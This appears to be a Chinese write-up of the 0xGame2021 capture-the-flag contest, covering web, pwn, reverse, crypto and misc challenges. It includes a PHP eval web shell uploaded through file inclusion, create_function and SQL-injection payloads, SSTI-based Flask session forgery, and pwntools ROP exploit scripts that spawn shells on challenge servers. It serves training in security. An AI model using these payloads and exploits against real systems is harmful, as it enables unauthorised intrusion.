0xGame2021 Writeup 2

Web

为了能使 `$payload` 可控，通过 if 判断，所以要想办法拿到 `$secret_key`，但是根据 hash_hmac 原理我们得知 `$secret_key` 是不可控的。

那么思路来到第一个加密，想办法通过传参改变或者得知 `$secret_key`，如果不知道 trick，那么就考虑可以传什么参数，正常字符串都是不行的，那就想到传数组过去

本地调试一下，就会发现，传入数组会导致 `$secret_key` 变为 `null`，此时 `$payload` 就可控了

进入到 if 中，看到这个结构就应该想到 create_function 函数，这边直接给出 payload，一看就会：

```
action=create_function&Pupi1=};system("ls");/*
```

一个简单的上传

打开网页，发现有个文件上传，先习惯性 F12 看一下

```
<div class="light"><span class="glow">
            <form enctype="multipart/form-data" method="post" onsubmit="return
checkFile()">
                嘿伙计，传个火？！
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit"
value="upload"/>
            </form>
      </span><span class="flare"></span><div>
      <!--read.php?filename=  -->
```

发现有个 read.php 去看一下里面是什么，然后注意到filename参数配合题目名字猜测存在文件包含，用php伪协议去尝试获取源码

```
php://filter/read=convert.base64-encode/resource=read.php
```

```
<?php
error_reporting(0);
$a=$_GET["filename"];
if(preg_match('/flag/i',$a)){
  exit("nononono");
}
include($a);

?>
```

```
php://filter/read=convert.base64-encode/resource=index.php
```

```
<div class="light"><span class="glow">
```

```
            <form enctype="multipart/form-data" method="post" onsubmit="return
checkFile()">
                嘿伙计，传个火？！
                <input class="input_file" type="file" name="upload_file"/>
                <input class="button" type="submit" name="submit"
value="upload"/>
            </form>
      </span><span class="flare"></span><div>
      <!--read.php?filename=  -->
<?php
    error_reporting(0);
    //设置上传目录
    define("UPLOAD_PATH", "./uplo4d");
    $msg = "Upload Success!";
    if (isset($_POST['submit'])) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_name = $_FILES['upload_file']['name'];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
      if(preg_match("/ph/i", strtolower($ext))){
        die("这可不能上传啊！");
    }

            $content = file_get_contents($temp_file);
            if(preg_match("/php/i", $content)){
                die("诶，被我发现了吧");
            }

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
    }


?>
```

稍微看看源码发现这里文件上传有检测后缀名不能上传存在ph所以这里我们无法通过php5，phtml等绕过后缀，所以这里只能上传其他后缀，那么我们这里就要思考怎么让服务器去能执行我们的恶意代码，然后我们注意到read.php 里面有文件包含的操作，我们可以通过包含我们上传的恶意图片，然后执行其中的代码。然后注意到会检测文件内容存在php就不给上传，所以这里我们使用短标签绕过。

```
<?=eval($_POST[1]);?>
```

新建文件写入上面的代码改后缀名为png，上传文件，获取到上传的路径，用文件包含去包含我们的文件就可以执行了

```
/read.php?filename=./uplo4d/4a47a0db6e608dfcfdf08a5ca249.png
```

然后就可以直接在蚁剑里面连接我们的shell，这里注意连接时候url要带上参数，

```
http://159.75.116.195:770/read.php?
filename=./uplo4d/4a47a0db6e608dfcfdf08a5ca249.png
```

进去以后可以在根目录有个有个flag文件，里面提示说flag在环境变量里面。所以我们可以直接执行`env`去打印全部的环境变量，即可发现flag。

一个简单的登陆

这个题目描述说是flask，那么我们先去查一下flask目前的漏洞，主要最多的就是SSTI和flask-session伪造。

然后我们回到题目这里发现需要登陆，我们随便登陆一个发现有个flag，我们点一下发现需要admin，然后在cookie中注意到有session，那么可以大致有个思路，flask-session伪造需要key，我们怎么能去获取这个key。

这个时候就可以模糊测试一下，发现404页面会回显url，有可能会存在SSTI，那么我们随手测试一下

```
{{8*8}}
```

发现回显了64，那就说明这里确实有SSTI的漏洞，那么我们就可以通过这里取获取我们的key，

```
{{config}}
```

然后在这里发现了key是什么，然后就是取伪造我们的session，这里上脚本https://github.com/noraj/flask-session-cookie-manager

先通过脚本解密

```
python3 flask_session_cookie_manager3.py decode -c
"eyJuYW1lIjoiYSIsInVpZCI6Ijg4In0.YWlIeQ.gpDUFT-upW-W1hG1EgroaIeEsd4"
```

```
b'{"name":"a","uid":"88"}'
```

发现是传递了name，和uid 。那么我们伪造的时候也按照这个格式去伪造,目标`{"name":"admin","uid":"1"}`

ps：这里的uid为1猜不到可以多次尝试，要尽量去猜测他的后端逻辑，我们每次注册都会有一个uid并且都是数字，所以猜测admin的uid肯定靠前不是0就是1。

用脚本加密

```
python3 flask_session_cookie_manager3.py encode -s 'x1ct34myydsytstflglgjhdfhsh'
-t '{"name":"admin","uid":"1"}'
```

```
eyJuYW1lIjoiYWRtaW4iLCJ1aWQiOiIxIn0.YWlLMw.oxWOuEFNnfOAS7cDkzg0JC-_Rxc
```

那着这个session去替换原来的session然后再去请求flag就可以拿到flag了。

Come to Inject me

首先看到登陆框也提示是注入，那么肯定是sql注入了，这里我们先尝试fuzz一些参数

发现`=` 空格 单引号被过滤了，我们要尝试登陆，所以去尝试一下万能密码，这里需要理解万能密码的原理，

他是通过字符串拼接去闭合了原来的sql语句，在配合一些逻辑操作符使我们查询为真

```
select * from test.0xgame_users where username = "$username" and password =
"$password"
```

这里的sql语句如上因为单引号过滤了所以很明显是用的双引号，然后我们尝试闭合语句

```
username="or/**/1#&password=1
```

这里`/**/` 是绕空格过滤的一种方式可以代替空格的作用,`#`是mysql的注释符，拼接后

```
select * from test.0xgame_users where username = ""or/**/1# and password =
"$password"
```

后面的就不起作用了or的逻辑是只要有真就返回真，所以这里查询就为真了，我们也就可以成功登陆。拿到flag

Pwn

ezpwn

鉴于stack那题出的有点难

涉及到栈迁移后的修栈以及调栈问题

所以特意出了一题相对简单的题

为了避免修栈压力 我把栈放到了堆上

还预先malloc了一个大的块来缓冲

按照正常栈迁移流程来即可

（第二次回去的函数跳转到vul而不是main这个思路不错）

```
from pwn import*
r=process('./main')
context.log_level='debug'

libc=ELF('./libc-2.23.so')

pop_rdi=0x4012a3
leave=0x401192
puts_got=0x404018
puts_plt=0x401030
start=0x401167

r.recvline()
r.sendline(p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start))
```

```
fake_stack=int(r.recvuntil('\n',drop=True)[30:],16)
success("fake_stack: "+hex(fake_stack))

r.recvline()
r.send('\x00'*0x50+p64(fake_stack-0x8)+p64(leave))

libc_base=u64(r.recvuntil('\n',drop=True)+p16(0))-libc.sym['puts']
success("libc_base: "+hex(libc_base))

one_gadget=libc_base+0xf1207

r.recvline()
r.send('\x00'*0x58+p64(one_gadget))

r.interactive()
```

stack

出难了 一开始只想着弄个用程序自带的两次leave来调栈的

既然出出来了 那就拿来当作压轴题

首先注意到栈迁移的地址距离bss段的起始部分非常接近

而bss段的开头存储有IO指针 开头再往前还存储有got跳转表

puts会调用这些指针 而函数调用会使用到got表 这些都不能被破坏

但是调用puts函数泄露的时候会使用大量的栈空间 甚至于使用到bss段之前的不可写的段上

所以先使用read函数将rop链写到bss段的较高地址处

而read函数调用的栈空间很小 可以满足我们的需要

然后使用gadget：pop rsp再次将栈迁移过去 以达到大量栈空间的需要

```
from pwn import*
r=remote('121.4.15.155',10005)
#r=process('./main')
context.log_level='debug'

elf=ELF('./main')
libc=ELF('./libc-2.23.so')

bss=0x4040A0
main=elf.symbols['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
read_plt=elf.plt['read']
read_got=elf.got['read']
pop_rdi=0x401293
pop_rsi=0x401291
pop_rsp=0x40128d

r.recvline()
r.recvline()
r.send(p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x500)+p64(0)+p64(read_plt)+p64(
pop_rsp)+p64(bss+0x500))
```

```
r.recvline()
r.send('a'*0x50+p64(bss-0x8))

r.send((p64(0)*3+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main)).ljust(0x58,
'\x00'))

libc_base=u64(r.recvline()[:-1]+p16(0))-0xf7310
success("libc_base: "+hex(libc_base))

system=libc_base+libc.sym['system']
bin_sh=libc_base+0x18ce17

r.recvline()
r.recvline()
r.send(p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x500)+p64(0)+p64(read_plt)+p64(
pop_rsp)+p64(bss+0x500))

r.recvline()
#gdb.attach(r)
r.send('a'*0x50+p64(bss-0x8))

r.send(p64(0)*3+p64(pop_rdi)+p64(bin_sh)+p64(system))

r.interactive()
```

N1k0la's love

Stupid repeater

两题都是格式化字符串

既然都是用fmtstr做的

那我就不放exp了

之后会出一个用不了fmtstr的

fmtstr建议少用或者别用

Reverse

Despacito

> 考点：逆向中常见加密算法的识别

程序流程比较长，实现了一个标准的加密算法，具体代码实现参考了DES加密算法—实现(C语言)，可能直接阅读整个程序比较困难，但是通过程序中函数名称，和一些加密算法固定的置换表数据，可以知道这是一个DES加密算法。

```
.data:0000000000404020 IP_Table        dd 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19
.data:0000000000404020                                         ; DATA XREF: DES_IP_Transform(char *)+26to
.data:0000000000404020                 dd 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39
.data:0000000000404020                 dd 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50
.data:0000000000404020                 dd 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4
.data:0000000000404020                 dd 62, 54, 46, 38, 30, 22, 14, 6
.data:0000000000404120                 public IP_1_Table
.data:0000000000404120 IP_1_Table      dd 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22
.data:0000000000404120                                         ; DATA XREF: DES_IP_1_Transform(char *)+26to
.data:0000000000404120                 dd 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12
.data:0000000000404120                 dd 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2
.data:0000000000404120                 dd 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25
.data:0000000000404120                 dd 32, 0, 40, 8, 48, 16, 56, 24
.data:0000000000404220                 public E_Table
```

如图就是 DES 加密过程中对数据进行置换的置换盒，与逆置换盒。

```
__int64 __fastcall DES_Encrypt(char *a1, char *a2, char *a3)
{
  char v4[16][48]; // [rsp+20h] [rbp-60h] BYREF
  char v5[64]; // [rsp+320h] [rbp+2A0h] BYREF
  char v6[8]; // [rsp+360h] [rbp+2E0h] BYREF
  char v7[8]; // [rsp+368h] [rbp+2E8h] BYREF
  char Buffer[8]; // [rsp+370h] [rbp+2F0h] BYREF
  FILE *v9; // [rsp+378h] [rbp+2F8h]
  FILE *Stream; // [rsp+380h] [rbp+300h]
  int v11; // [rsp+38Ch] [rbp+30Ch]

  Stream = fopen(a1, "rb");
  v9 = fopen(a3, "wb");
  if ( !Stream )
    return 0xFFFFFFFFi64;
  if ( !v9 )
    return 4294967293i64;
  *(_QWORD *)v6 = *(_QWORD *)a2;
  Char8_to_Bit64(v6, v5);
  DES_MakeSubKeys(v5, v4);
  while ( !feof(Stream) )
  {
    v11 = fread(Buffer, 1ui64, 8ui64, Stream);
    if ( v11 == 8 )
    {
      DES_Encrypt_Block(Buffer, v4, v7);
      fwrite(v7, 1ui64, 8ui64, v9);
    }
  }
  if ( v11 )
  {
    memset(&Buffer[v11], 0, 8 - v11);
    DES_Encrypt_Block(Buffer, v4, v7);
    fwrite(v7, 1ui64, 8ui64, v9);
  }
  fclose(Stream);
  fclose(v9);
  return 0i64;
}
```

还有根据函数名称就能猜测出这两个函数就是进行密钥扩展，置换的函数，与对数据进行分块加密的函数

知道了这个程序进行的就是DES加密，并且知道了密钥为 `0xgame21` 和加密后的文件cipher.txt后，就能很容易编写脚本得到明文。

同时要注意提交发 `flag` 形式为 `0xGame{}`，括号中包含的是明文的md5值

```
from Crypto.Cipher import DES
import hashlib
f = open('cipher.txt', 'rb')
plaintext = f.read()
key = b'0xgame21'
cipher = DES.new(key, DES.MODE_ECB)
message = cipher.decrypt(plaintext)
print("plain.text is ", str(message, encoding = "utf-8"))

md5 = hashlib.md5()
md5.update(message)
print('0xGame{' + md5.hexdigest() + '}')
# 0xGame{83b9879f334340ef42dbb9f40468fc84}
```

Secret Base

改表`base64`算法,知道密文和表直接解密

```
import base64

cipher = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5HmO5HVlREnoAhaFOHn2dFBQVFCO="
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzO123456789+/"
mytable = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyzOABCi56789+/"
print(base64.b64decode(cipher.translate(str.maketrans(mytable, table))))
# 0xGame{58d8ed3c-3986-499a-9bdb-554c4a0a3bf3}
```

Crypto

Calender

一道日历密码，去百度搜一下日历密码就可以知道是怎么回事了，当然有的同学直接猜出来日历的1-26对应字母a-z。注意一下提交格式，每个字母都是小写，每个单词用下划线连接。

Gandalf's guidance

这题单纯是为了让同学们会过pow，看前两天没人写CN.NO1，就补了个这个。后来又给了个hint，里面是去年的题以及题解（拿去年题解的脚本改一改，直接梭都可以）。有的同学去查了sha256的具体过程，其实这个算法不可逆，我们直接枚举前面的四个字符就可以了。

```
from pwn import *
import string
from hashlib import sha256
r = remote("47.101.38.213", 59709)
table = string.digits + string.ascii_letters
r.recvuntil(b'sha256(XXXX+')
suffix = r.recv(8).decode()
r.recvuntil(b' == ')
tar = r.recvuntil(b'\n')[:-1].decode()
prefix = ''
for a in table:
    for b in table:
        for c in table:
            for d in table:
                sha = (a + b + c + d + suffix).encode()
                if sha256(sha).hexdigest() == tar:
                    prefix = a + b + c + d
r.recvuntil(b"Plz Tell Me XXXX :")
r.sendline(prefix.encode())
r.interactive()
```

这里介绍一下远程交互的常用函数。

```
本地：sh = porcess("./level0")
远程：sh = remote("127.0.0.1",10001)  # 连接至服务器，前面是服务器IP，后面是端口
关闭连接：sh.close()
sh.send(data)  # 发送数据
sh.sendline(data)  # 发送一行数据，相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault) # 接受数据，numb指定接收的字节，timeout指定超时
sh.recvline(keepends=True)  # 接受一行数据，keepends为是否保留行尾的\n
sh.recvuntil(b"Hello,World\n",drop=fasle) # 接受数据直到我们设置的特定字符出现，这里是‘Hello,World\n’
sh.recvall() # 一直接收直到EOF
sh.recvrepeat(timeout = default) # 持续接受直到EOF或timeout
sh.interactive() # 直接进行交互，相当于回到shell的模式，在取得shell之后使用，或者在确认下面就可以拿到flag，用这个可以显示所有发送来的数据
```

CN.NO1

这题本来是想让大家学习写自动脚本的，后来被学弟说交互时间就50s太短了，自动脚本又不会写，就把交互时间改了1000s，然后就可以手动拿数据了。

这题考察RSA的攻击其实很简单，就是常见的低加密指数广播攻击，用一次中国剩余定理得到模$n1*n2*n3$下的c，然后由于$n1*n2*n3$比m^3大的多，所以直接开三次方就可以得到m。下面的是手动脚本，需要分两次跑，先过pow，再获得m。

```python
from hashlib import sha256
import string
import gmpy2
from functools import reduce


def CRT(mi, ai):
    M = reduce(lambda x, y: x * y, mi)
    m_i = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, m_i) % M


def proof_of_work(suffix, tar):
    table = string.digits + string.ascii_letters
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    sha = (a + b + c + d + suffix).encode()
                    if sha256(sha).hexdigest() == tar:
                        prefix = a + b + c + d
    return prefix


suffix =
tar =
proof_of_work(suffix, tar)
n0=81793950317323481692767732819973264661580355594464858621831455885679931967578308285603654315959984915711850330592757789874295658711152949758150238485717931428761396106984511125266088122770334641174390442048140647807527831351901462689103077010412075242786253276564794556677743062002131242843694520133137015423
```

```
c0=600795299936942969443096462758963648273412684539393290773474513571234788078673386247257105680465253565220386169386377714708481761968473174235366928606165008889109255109490027295927120875869969369131598922092091381873244812590779409642683881730476740296020755249715782197352136160300997124342223979671188156921
n1=827140208984661091888067650050520782904084163698090009612536700787417682207067074827310216934212368877891729482338633588067869655351291207418916847319093484017734236630271411041994559184755768866708316942526407745038831606061363317633407425101163647488444334923582108539184159465241930700711816878023034760721
c1=184934420150843704769540080487536121727497650039884912747477600652184660072304428698372536750715535422497596234368405544112141502154677164475401238502851849684650292989044451100097561161661138349719213144945549745833879168553394990565643504653689098614065114368106828927897735475259681273691764816976536460721
n2=927047357533715962018684167973560395278498984251518957100437909218610416074066478350206509802074217163329248482000163152221684870722036584352575470347358028018116127318019449758686499926237068832749435674038208191579135877911108619606642479892400542843918797018814171542193076711766800710624093916273128774291
c2=697892891800904005876467922380476260218381560176867654742193716841263113340698111903063211539171275259861308151433186622591899136739617037463043764783019480292735633011280316405121480403688763133663489639641540743970662991587111920690302627864022472292373005767658497202716883337348763549469936372933589966561
n=[]
c=[]

n.append(n0)
n.append(n1)
n.append(n2)
c.append(c0)
c.append(c1)
c.append(c2)
e = 3
m = gmpy2.iroot(CRT(n, c), e)[0]
print(m)
```

然后下面这个是自动脚本，同学们可以学习一下。

```
from hashlib import sha256
from pwn import *
import string
import gmpy2
from functools import reduce


def proof_of_work():
    table = string.digits + string.ascii_letters
    r.recvuntil(b'[+] sha256(XXXX+')
    suffix = r.recv(8).decode()
    r.recvuntil(b' == ')
    tar = r.recvuntil(b'\n')[:-1].decode()
    prefix = ''
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    sha = (a + b + c + d + suffix).encode()
                    if sha256(sha).hexdigest() == tar:
                        prefix = a + b + c + d
```

```
    r.recvuntil(b"[+] Plz Tell Me XXXX :")
    r.sendline(prefix.encode())


def CRT(mi, ai):
    M = reduce(lambda x, y: x * y, mi)
    m_i = [a * (M // m) * gmpy2.invert(M // m, m) for (m, a) in zip(mi, ai)]
    return reduce(lambda x, y: x + y, m_i) % M


if __name__ == '__main__':
    r = remote("47.101.38.213", 60712)
    proof_of_work()
    n = []
    c = []
    e = 3
    for i in range(3):
        n.append(int(r.recvline().decode()[3:-1]))
        c.append(int(r.recvline().decode()[3:-1]))
    m = gmpy2.iroot(CRT(n, c), e)[0]
    print(m)
    r.sendline(str(m).encode())
    r.interactive()
```

Equation

linux虚拟机中，直接在终端输入`nc 47.101.38.213 60718`，可以获得如下内容：
（当然，本题为防作弊，每次连接后发出的内容都不一样，但$f = ap + bq$的格式是肯定的，你获取的(a, b)系数可能与此不同，但不影响解题）。

```
n =
323662728892928790888821959982537219582161184273190431235907361654268208843064997250507277495372957966237816908862552680160968195424748144574375323419584648486432006599163876925633672709233622634624856268632786346986362195709956131636378579621969382682410343294669280750489703018265876469175981166124374158792214372955316285133844142583683699169467423897033551797271125805926834394162615478654917250255862486052722915840287749675536279427245796323892544964098492168414096046869805576549839944056922688236965665545149325496872343895608389390485353339188466629273745853867667238382906719377890733069667591916493257460737172882524628179527345976928309946222556355469080585815244775185325189241129765631970101922519297464453129698801278795769584925290423432561416753685944614182572883546571056177527966157356549752003261014631430245428007083900951453614
e = 906371
c =
153264387486590001697384860788869977815419359090358233682893342809682334818097145744280648792378279147607404383960858184001007529184746578585543887717240643837013958976180452762813988244342748485576539090899424443597271063233663933530002366786954764888180800295213958811293503084612560144981919227149211019677399180201558097853266319970695091034307000836897969305299098522785271966824556923885790865522738568241431984632142942881002290953005044410583721060161493322141766298672553970949523729844502003800684586954359470477401859536371426991586387240476167862106624438722044927035548292437401481179012575168951192364641026966545994140064500765569653224498660452194947715964974875476087491974390230782419812689300248644526231512641672577443390132131145344088969205026563875023921639156828883677646639769536991065539482708258972526428410032314474336
f = 4071 * p + 7840 * q =
706095723835077086467165916255557123799464601539898790896895397349229036567848597646187710548818828550972173632529112294852109475142705936499991980184275957338684972088214573159137781785322672174195875565196400090478547076497516635140170946264876192107339385441755055899388429476475265037579537232328944191838851065013075877928887704069136196069268514121570844016884691305711741147173059505010972824467644394014755007467194771 83
```

方法一：

有Sagemath的，录入4个已知数据后，可以直接利用以下的代码求解（你的$f = ap + bq$中的a, b可能与此不同）

```
var('p q')
solve([p * q == n, 4071 * p + 7840 * q == f],(p, q))
```

然后就可解出

```
p ==
508385892870869110077795911650588733368088043807358795944158981726085739209542628057359540951606565245755708725758249876603246794384230935736310655825778713529863388382931243132037573568857751260586926644085567688283743118870085604639878218274232821155239415994449083251541568908881194649678188433642128178378040308938363436953999463162619542035756186139652227869711456426336912805097717306729191135441890036213214058720999 3
q ==
636647738325696775197060204875768431690454029216738552382689127408851444050566063474536532432933413060491102819225674451641489419832762146124668255354083473291680595251942938877659803042653930658177216490292302914002851087762123450881730259700811238029389565293896472076129919354170574866958605511470961492884120988831974646358309340070961454727694095336885742412149435452232122377828799476328468256669962959531065770614637 7
```

方法二：

没有Sagemath的，可以编程求解。

由已知$pq=n,4071p+7840q=f$（你获得的系数可能与此不同），那么有$4071p=f-7840q$，则$4071n=4071pq=(f-7840q)q=-7840q^2+fq$。那么我们就可以构造方程$7840q^2-fq+4071n=0$。根据二次函数的单调性，$y=7840x^2-fx+4071n$在$(2^{1407},2^{1408})$区间内单调递增，可以二分求解出$q$的值。

```
n =
323662728892928790888821959982537219582161184273190431235907361654268208843064997250507277495372957966237816908862552680160968195424748144574375323419584648643200659916387692563367270923362263462485626863278634698636219570995613163637857962196938268241034329466928075048970301826587646917598116612437415879221437295531628513384414258368369916946742389703355179727112580592683439416261547865491725025586248605272291584028774967553627942724579632389254496409849216841409604686980557654983994405692268823696566554514932549687234389560838939048535333918846662927374585386766723838290671937789073306966759191649325746073717288252462817952734597692830994622255635546908058581524477518532518924112976563197010192251929746445312969880127879576958492529042343256141675368594461418257288354657105617752796615735654975200326101463143024542800708390095145361
e = 906371
c =
153264387486590001697384860788869977815419359090358233682893342809682334818097145744280648792378279147607404383960858184001007529184746578585543887717240643837013958976180452762813988244342748485576539090899942444359727106323366393353000236678695476488818080029521395881129350308461256014498191922714921101967739918020155809785326631997069509103430700083689796930529909852278527196682455692388579086552273856824143198463214294288100229095300504441058372106016149332214176629867255397094952372984450200380068458695435947047740185953637142699158638724047616786210662443872204492703554829243740148117901257516895119236464102696654599414006450076556965322449866045219494771596497487547608749197439023078241981268930024864452623151264167257744339013213114534408896920502656387502392163915682888367764663976953699106553948270825897252642841003231447433683
f =
706095723835077086467165916255557123799464601539898790896895397349229036567848597646187710548818828550972173632529112294852109475142705936499991980184275957338684972088214573159137781785322672174195875565196400090478547076497516635140170946264876192107339385441755055899388429476475265037579537232328944191838851065013075877928887704069136196069268514121570844016884691305711741147173059505010972824467644394014755007467194771833
```

```
def y(x):
    return 7840*x*x-f*x+4071*n


L, R = 2**1407, 2**1408
while L <= R:
    M = (L+R)//2
    if y(M) < 0:
        L = M+1
    if y(M) > 0:
        R = M-1
    if y(M) == 0:
        print(M)
        break
#6366477383256967751970602048757684316904540292167385523826891274088514440505660
6347453653243293341306049110281922567445164148941983276214612466825535408347329 1
6805952519429388776598030426539306581772164902923029140028510877621234508817302 5
9700811238029389565293896472076129919354170574866958605511470961492884120988831 9
7464635830934007096145472769409533688574241214943545223212237782879947632846825 6
669962959531065770614637 7
```

得到p, q的值之后，就可以解密了。

```
from Crypto.Util.number import *
p =
5083858928708691100777959116505887333680880438073587959441589817260857392095426 2
8057359540951606565245755708725758249876603246794384230935736310655825778713529 8
6338838293124313203757356885775126058692664408556768828374311887008560463987821 8
2742328211552394159944490832515415689088811946496781884336421281783780403089383 6
3436953999463162619542035756186139652227869711456426336912805097717306729191135 4
4189003621321405872099 93
q =
6366477383256967751970602048757684316904540292167385523826891274088514440505660 6
3474536532432933413060491102819225674451641489419832762146124668255354083473291 6
8059525194293887765980304265393065817721649029230291400285108776212345088173025 9
7008112380293895652938964720761299193541705748669586055114709614928841209883197 4
6463583093400709614547276940953368857424121494354522321223778287994763284682566 6
9962959531065770614637 7
e = 906371
phi, n = (p-1)*(q-1), p*q
d = inverse(e, phi)
print(long_to_bytes(pow(c, d, n)))
```

这道题好像还可以用z3做，在此处不多加介绍。我看到很多学弟学妹用二次方程求根公式$x_{1,2} = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}$，但不知道如何开根号。实际上如果非得要这么做的话，建议安装一下`gmpy2`库，使用里面的`iroot`函数求解。当然，如果你不下包，那就利用幂函数单调性，二分求解平方根。

Misc

EasyPcap

根据题目描述，我们需要对流量进行分析，找出这个网络诊断操作以及目标IP，并进行3DES加密。直接百度输入关键词：网络诊断操作，可以得到候选结果：ping(网络诊断工具)_百度百科，阅读概念以及对应流量包中的info栏，的确有ping这个命令存在于流量中，那么题目所需求的命令就是`ping`。我们知道，对一个地址的访问，需要发送请求，当然也要收到响应。题目需要的是我们发出请求时的目标IP，对应的是info里的request的`destination IP`。也就是`185.199.108.153`。

好了，IP和命令都找到了，接下来只需要进行3DES加密了。使用百度键入关键词：3DES加密，进入第一个候选结果给出的网站：http://tool.chacuo.net/crypt3des

由于是新生赛题，无需调试复杂的参数诸如：3DES加密模式、填充、偏移量、字符集。题目描述更新后，我们更是直接知道了输出的只需要是hex结果。

轻松地得到了flag：`ec6d199865663767741e27953653206e`，使用0xGame{}包裹起来，提交。

ENCODE

看到佛经，如果是上网冲浪多年的老油条，应该能马上知道这是与佛论禅，小时候传播资源时经常为了绕过敏感词汇、危险连接而使用的经典操作。进入新与佛论禅在线解码网站，解码得到的是宣传片里黄眉怪反复对我们洗脑重复n多遍的经典台词：既见未来，为何不拜？对于接触过简单的misc题的选手来说，能够认出这是Ook编码并进行批量替换是难能可贵的。不过得到hint以后，我们可以轻易地将中文文本进行批量替换为Ook，再进入在线brainfuck Ook解码网站进行解码。最后得到一串啥都不懂的东西。我们有无敌的搜索引擎。可以将#@~^这个开头或者整串东西扔到google里，理应能顺藤摸瓜找到这个是VBS加密。直接解密之，轻松得到flag。

EasyAlpha

送分题，接触过图片相关简单题目的同学应该能瞬间fuzz出这个题，遇事不决扔winhex，没什么信息。考虑隐写，马上扔stegsolve改滤镜看看，在alpha plane下直接得到flag了。后面的一系列深入fuzz也免了。轻松加愉快。

dlohesuoHesaB

简单的base全家桶。阅读一下题目名字和附件给出的文件名会发现反过来读才有意义。题目是倒序的BaseHousehold，顾名思义base全家桶。附件的文本是倒序的secret。使用jdk也好使用python也好轻松逆个序

```
with open('terces.txt','r') as f1:
    s = f1.read()
with open('flag.txt','w') as f2:
    f2.write(s[::-1])
```

轻松得到倒序后的串，也许之后会有倒序，但先不管。尝试解base全家桶，对base烂熟于心的同学应该能肉眼看穿所有base编码，但看不穿也无所谓，我们有自动破解脚本，或者查看hint，直接告诉我们可以用basecrack爆破，0.26秒就能得到flag。轻松配置好脚本后，直接一条命令下去

```
python basecrack.py -m
```

并粘贴逆序后的串，flag会在0.26秒内送到手中。

Hamburger Souls

送分题。看题目描述：两面包夹flag，没什么感觉。如果是之前在BUU刷过题的同学可以轻松联想到一道简单题：我吃三明治。该题解法为：扔进16进制编辑器搜索字符串flag，即可直接得到flag。这就是换了个图片的原题而已。在0xGame中我们当然要搜索0xGame格式的flag。轻松得到了flag。